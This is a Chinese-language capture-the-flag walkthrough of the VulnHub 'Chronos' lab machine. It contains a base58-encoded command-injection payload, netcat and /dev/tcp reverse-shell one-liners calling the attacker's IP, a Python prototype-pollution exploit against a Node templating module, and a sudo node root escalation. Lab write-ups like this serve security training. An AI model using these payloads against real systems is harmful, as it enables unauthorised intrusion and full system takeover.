写在前面

靶机的地址

这是靶机的地址:https://www.vulnhub.com/entry/chronos-1,735/
小伙伴们可以下载来一起打哦~

靶机描述

这次的靶机是一个难度为中等级的靶机

以下是整个步骤的具体流程:

  • 端口扫描

  • WEB侦查

  • 命令注入

  • 数据编解码

  • 搜索大法

  • 框架漏洞利用

  • 代码审计

  • 本地提权

开始打靶

主机的发现

首先通过arp-scan -l进行靶机的发现

然后通过nmap -A ip进行全扫描

发现开启了22808000端口

web端的服务探测

在前端页面并没有发现什么,但是网页源码中出现了一段可疑的js代码

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<meta charset="UTF-8">
<html>
<body onload="loadDoc()">
<script>
var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}
</script>
</body>

编码神奇cyberchef

https://cyberchef.org/

尝试把这段js进行解码,但是看见其中有个这个

1
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL'

使用了cyberchef的magic模块进行解密,发现4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL是一段base58的编码

而且似乎是属于本地访问的,所以在 /etc/hosts 中添加到本地了

然后在进行访问chronos.local:8000

然后在过一边burp发现了这个在js中的加密的请求头

在这里结合上次的打靶过程,很容易猜测这里有命令注入(需要通过base58编码)

命令注入,反弹shell

首先尝试一下ls能否进行回显

成功执行了ls,那么现在我选择直接无脑nc串联反弹shell,阁下又该如何应多

;nc 192.168.1.156 3333|/bin/bash| nc 192.168.1.156 4444

N9g5jHcopUYDdn8iMg651ofyBdoqpFUbwxDT59z8zes8J8oinX5iiyXPs5wvogVrqAQqt2XpeG3

虽然响应包显示的是错误,但是成功的看到反弹shell了

信息搜集及提权

cat app.js发现随便对useragentcontent进行了检测,但是并没有防护,直接进行了exec

这也就说明了为什么返回了Something went wrong但是还是反弹shell了

然后在上一级目录中发现了chronos-v2,让我康康~

cd backend

然后cat package.json

这里再网上找到了这个漏洞

1
https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/

照着POC打,直接上脚本

1
2
3
4
5
6
7
8
9
10
import requests

cmd = 'bash -c "bash -i &> /dev/tcp/192.168.0.135/6666 0>&1"'

# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://127.0.0.1:8080')

保存在本地命名为exp.py,然后开一个py的http服务让靶机下载

python3 -m http.server 80本地开启

然后靶机wget http://192.168.1.156/exp.py进行下载(这里最好的/tmp在进行)

kali关闭服务,进行本地监听poc写的端口

kali:nc -lnvp 6666

靶机:python3 exp.py

然后就可以读取第一个flag了cat /home/imera/user.txt

然后发现/root进不去,尝试提权

老流程走一套

  • 内核

  • suid

  • 其他

直接node提权sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0,1,2]})'

Over~